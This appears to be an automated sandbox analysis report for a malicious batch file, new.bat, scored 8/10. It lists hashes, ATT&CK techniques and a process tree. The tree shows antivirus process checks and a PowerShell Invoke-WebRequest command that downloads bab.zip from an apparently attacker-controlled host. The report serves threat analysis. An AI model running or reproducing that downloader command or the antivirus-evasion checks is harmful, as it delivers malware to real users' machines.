f70797c423c2807efbb81828b6a179099bc12a8adf852c02128cca7c67d4172b

Analysis

max time kernel
73s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
09/01/2025, 18:54

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General

Target

new.bat
Size

33KB
MD5

878627c4bca0ba302c23e3cda27b71f6
SHA1

b530ab3d16cf53c9a397586c2d71e7374ad80e89
SHA256

f70797c423c2807efbb81828b6a179099bc12a8adf852c02128cca7c67d4172b
SHA512

f5e073b50b4042540e096f6ec691941b25f22f5fe3c3dd252a064a2672ac091910ef5711bd6f6c17b7af222d9f93063fc3f94be08eed57558c2f77d1917f318c
SSDEEP

192:b+OyBLHo3fzcQD889AANVsoVVCB0+VZ3zdYxDcis:b+WN489AU+oTCB0YZ3uxDcL

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2312	powershell.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
2596	tasklist.exe
2128	tasklist.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2312	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2596	tasklist.exe
Token: SeDebugPrivilege	2128	tasklist.exe
Token: SeDebugPrivilege	2312	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1740 wrote to memory of 2596	1740	cmd.exe	31
PID 1740 wrote to memory of 2596	1740	cmd.exe	31
PID 1740 wrote to memory of 2596	1740	cmd.exe	31
PID 1740 wrote to memory of 1236	1740	cmd.exe	32
PID 1740 wrote to memory of 1236	1740	cmd.exe	32
PID 1740 wrote to memory of 1236	1740	cmd.exe	32
PID 1740 wrote to memory of 2128	1740	cmd.exe	34
PID 1740 wrote to memory of 2128	1740	cmd.exe	34
PID 1740 wrote to memory of 2128	1740	cmd.exe	34
PID 1740 wrote to memory of 2036	1740	cmd.exe	35
PID 1740 wrote to memory of 2036	1740	cmd.exe	35
PID 1740 wrote to memory of 2036	1740	cmd.exe	35
PID 1740 wrote to memory of 2312	1740	cmd.exe	36
PID 1740 wrote to memory of 2312	1740	cmd.exe	36
PID 1740 wrote to memory of 2312	1740	cmd.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\new.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Windows\system32\tasklist.exe
  tasklist /FI "IMAGENAME eq AvastUI.exe"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:2596
- C:\Windows\system32\find.exe
  find /i "AvastUI.exe"
  2⤵
  PID:1236
- C:\Windows\system32\tasklist.exe
  tasklist /FI "IMAGENAME eq avgui.exe"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:2128
- C:\Windows\system32\find.exe
  find /i "avgui.exe"
  2⤵
  PID:2036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.me:7140/bab.zip' -OutFile 'C:\Users\Admin\Downloads\downloaded.zip' } catch { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2312-4-0x000007FEF53CE000-0x000007FEF53CF000-memory.dmp

Filesize
4KB

Download
memory/2312-5-0x000000001B1A0000-0x000000001B482000-memory.dmp

Filesize
2.9MB

Download
memory/2312-6-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2312-7-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2312-8-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2312-9-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2312-10-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2312-11-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2312-12-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Filesize
9.6MB

Download